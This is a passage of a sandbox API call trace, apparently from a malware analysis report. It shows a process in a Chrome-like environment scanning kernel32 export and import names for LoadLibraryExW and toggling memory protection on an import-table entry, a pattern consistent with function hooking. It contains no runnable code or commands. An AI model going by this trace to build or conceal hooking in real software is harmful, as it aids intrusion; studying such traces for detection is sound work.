lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseThreadpoolCleanupGroupMembers", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseThreadpoolWait", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CloseThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CmdBatNotification", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CommConfigDialogA", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CommConfigDialogW", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CompareCalendarDates", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CompareFileTime", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CompareStringA", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CompareStringEx", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CompareStringOrdinal", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CompareStringW", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ConnectNamedPipe", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ConsoleMenuControl", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ContinueDebugEvent", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ConvertCalDateTimeToSystemTime", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ConvertDefaultLocale", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ConvertFiberToThread", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ConvertSystemTimeToCalDateTime", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ConvertThreadToFiber", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="ConvertThreadToFiberEx", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CopyContext", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CopyFileA", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CopyFileExA", lpString2="LoadLibraryExW") returned -1 [0070.837] lstrcmpA (lpString1="CopyFileExW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CopyFileTransactedA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CopyFileTransactedW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CopyFileW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CopyLZFile", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateActCtxA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateActCtxW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateBoundaryDescriptorA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateBoundaryDescriptorW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateConsoleScreenBuffer", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateDirectoryA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateDirectoryExA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateDirectoryExW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateDirectoryTransactedA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateDirectoryTransactedW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateDirectoryW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateEventA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateEventExA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateEventExW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFiber", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFiberEx", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFileA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFileMappingA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFileMappingNumaA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFileMappingNumaW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFileMappingW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFileTransactedA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFileTransactedW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateHardLinkA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateHardLinkTransactedA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateHardLinkTransactedW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateHardLinkW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateIoCompletionPort", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateJobObjectA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateJobObjectW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateJobSet", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateMailslotA", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateMailslotW", lpString2="LoadLibraryExW") returned -1 [0070.838] lstrcmpA (lpString1="CreateMemoryResourceNotification", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateMutexA", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateMutexExA", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateMutexExW", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateMutexW", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateNamedPipeA", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateNamedPipeW", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreatePipe", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreatePrivateNamespaceA", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreatePrivateNamespaceW", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateProcessA", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateProcessAsUserW", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateProcessInternalA", lpString2="LoadLibraryExW") returned -1 [0070.839] lstrcmpA (lpString1="CreateProcessInternalW", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateProcessW", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateRemoteThread", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateRemoteThreadEx", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateSemaphoreA", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateSemaphoreExA", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateSemaphoreExW", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateSemaphoreW", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateSymbolicLinkA", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateSymbolicLinkTransactedA", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateSymbolicLinkTransactedW", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateSymbolicLinkW", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateTapePartition", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateThread", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateThreadpool", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateThreadpoolCleanupGroup", lpString2="LoadLibraryExW") returned -1 [0070.840] lstrcmpA (lpString1="CreateThreadpoolIo", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateThreadpoolTimer", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateThreadpoolWait", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateThreadpoolWork", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateTimerQueue", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateToolhelp32Snapshot", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateUmsCompletionList", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateUmsThreadContext", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateWaitableTimerA", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateWaitableTimerExA", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateWaitableTimerExW", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CreateWaitableTimerW", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="CtrlRoutine", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeactivateActCtx", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DebugActiveProcess", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DebugActiveProcessStop", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DebugBreak", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DebugBreakProcess", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DebugSetProcessKillOnExit", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DecodePointer", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DecodeSystemPointer", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DefineDosDeviceA", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DefineDosDeviceW", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DelayLoadFailureHook", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteAtom", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteBoundaryDescriptor", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteFiber", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteFileA", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteFileTransactedA", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteFileTransactedW", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteProcThreadAttributeList", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteTimerQueue", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteTimerQueueEx", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteTimerQueueTimer", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteUmsCompletionList", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteUmsThreadContext", lpString2="LoadLibraryExW") returned -1 [0070.841] lstrcmpA (lpString1="DeleteVolumeMountPointA", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DeleteVolumeMountPointW", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DequeueUmsCompletionListItems", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DeviceIoControl", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DisableThreadLibraryCalls", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DisableThreadProfiling", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DisassociateCurrentThreadFromCallback", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DisconnectNamedPipe", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DnsHostnameToComputerNameA", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DnsHostnameToComputerNameW", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DosDateTimeToFileTime", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DosPathToSessionPathA", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DosPathToSessionPathW", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DuplicateConsoleHandle", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EnableThreadProfiling", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EncodePointer", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EncodeSystemPointer", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EndUpdateResourceA", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EndUpdateResourceW", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EnterCriticalSection", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EnterUmsSchedulingMode", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EnumCalendarInfoA", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EnumCalendarInfoExA", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EnumCalendarInfoExEx", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EnumCalendarInfoExW", lpString2="LoadLibraryExW") returned -1 [0070.842] lstrcmpA (lpString1="EnumCalendarInfoW", lpString2="LoadLibraryExW") returned -1 [0070.842] VirtualProtect (in: lpAddress=0x770e0d68, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2fed68 | out: lpflOldProtect=0x2fed68*=0x2) returned 1 [0070.843] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x1ee0fb0 [0070.843] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22dff90 [0070.843] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x1ee0fb0 | out: hHeap=0x1ee0000) returned 1 [0070.843] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dff90 | out: hHeap=0x1ee0000) returned 1 [0070.843] VirtualProtect (in: lpAddress=0x770dbc2a, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x2fed60 | out: lpflOldProtect=0x2fed60*=0x20) returned 1 [0070.843] VirtualProtect (in: lpAddress=0x770dbc2a, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x2fed60 | out: lpflOldProtect=0x2fed60*=0x40) returned 1 [0070.843] VirtualProtect (in: lpAddress=0x770e0d68, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x2fed68 | out: lpflOldProtect=0x2fed68*=0x40) returned 1 [0070.843] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed00, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed00, ReturnLength=0x0) returned 0x0 [0070.843] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x1000) returned 0x22dee30 [0070.843] EnumProcessModules (in: hProcess=0xffffffffffffffff, lphModule=0x22dee30, cb=0x1000, lpcbNeeded=0x2fee08 | out: lphModule=0x22dee30, lpcbNeeded=0x2fee08) returned 1 [0070.844] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x13f510000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x13f510000, AllocationBase=0x13f510000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.844] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.844] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dc080 [0070.844] lstrcmpiA (lpString1="chrome_elf.dll", lpString2="KERNEL32.DLL") returned -1 [0070.844] lstrcmpiA (lpString1="ADVAPI32.dll", lpString2="KERNEL32.DLL") returned -1 [0070.844] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0070.844] lstrcmpiA (lpString1="GetThreadLocale", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0070.844] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="CreateEventW", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="GetProcessId", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0070.844] lstrcmpiA (lpString1="DuplicateHandle", lpString2="LoadLibraryExW") returned -1 [0070.844] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="LoadLibraryExW") returned 1 [0070.845] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="LoadLibraryExW") returned 1 [0070.845] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="LoadLibraryExW") returned 0 [0070.845] VirtualProtect (in: lpAddress=0x13f5d3188, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x2) returned 1 [0070.845] VirtualProtect (in: lpAddress=0x13f5d3188, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fed50 | out: lpflOldProtect=0x2fed50*=0x40) returned 1 [0070.845] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77160000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x77160000, AllocationBase=0x77160000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.845] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.845] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x77040000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x77040000, AllocationBase=0x77040000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.845] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.845] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefd330000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fefd330000, AllocationBase=0x7fefd330000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.845] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.845] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef4ab0000, lpBuffer=0x2fee20, dwLength=0x30 | out: lpBuffer=0x2fee20*(BaseAddress=0x7fef4ab0000, AllocationBase=0x7fef4ab0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.845] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed50, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed50, ReturnLength=0x0) returned 0x0 [0070.845] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dc0f0 [0070.845] lstrcmpiA (lpString1="KERNEL32.dll", lpString2="KERNEL32.DLL") returned 0 [0070.845] lstrcmpiA (lpString1="GetProcAddress", lpString2="LoadLibraryExW") returned -1 [0070.845] lstrcmpiA (lpString1="VerSetConditionMask", lpString2="LoadLibraryExW") returned 1 [0070.845] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="LoadLibraryExW") returned -1 [0070.845] lstrcmpiA (lpString1="VerifyVersionInfoW", lpString2="LoadLibraryExW") returned 1 [0070.845] lstrcmpiA (lpString1="LoadLibraryExA", lpString2="LoadLibraryExW") returned -1 [0070.845] lstrcmpiA (lpString1="ReadConsoleW", lpString2="LoadLibraryExW") returned 1 [0070.845] lstrcmpiA (lpString1="VirtualProtect", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="GetProcessId", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="GetCommandLineW", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="GetLastError", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="VirtualQuery", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="GetEnvironmentVariableW", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="GetNativeSystemInfo", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="GetTempPathW", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="CreateDirectoryW", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="SetEnvironmentVariableW", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="OutputDebugStringW", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="GetComputerNameExW", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="LoadLibraryW", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="FreeLibrary", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="WriteProcessMemory", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="ReadProcessMemory", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="CreateFileW", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="CloseHandle", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="VirtualProtectEx", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="SetLastError", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="Sleep", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="RaiseException", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="IsDebuggerPresent", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="HeapCreate", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="HeapDestroy", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="WriteFile", lpString2="LoadLibraryExW") returned 1 [0070.846] lstrcmpiA (lpString1="DeleteFileW", lpString2="LoadLibraryExW") returned -1 [0070.846] lstrcmpiA (lpString1="GetLocalTime", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="FormatMessageA", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="GetTickCount", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="HeapFree", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="HeapSize", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="HeapReAlloc", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="HeapAlloc", lpString2="LoadLibraryExW") returned -1 [0070.847] lstrcmpiA (lpString1="RtlCaptureStackBackTrace", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="LoadLibraryExW") returned 1 [0070.847] lstrcmpiA 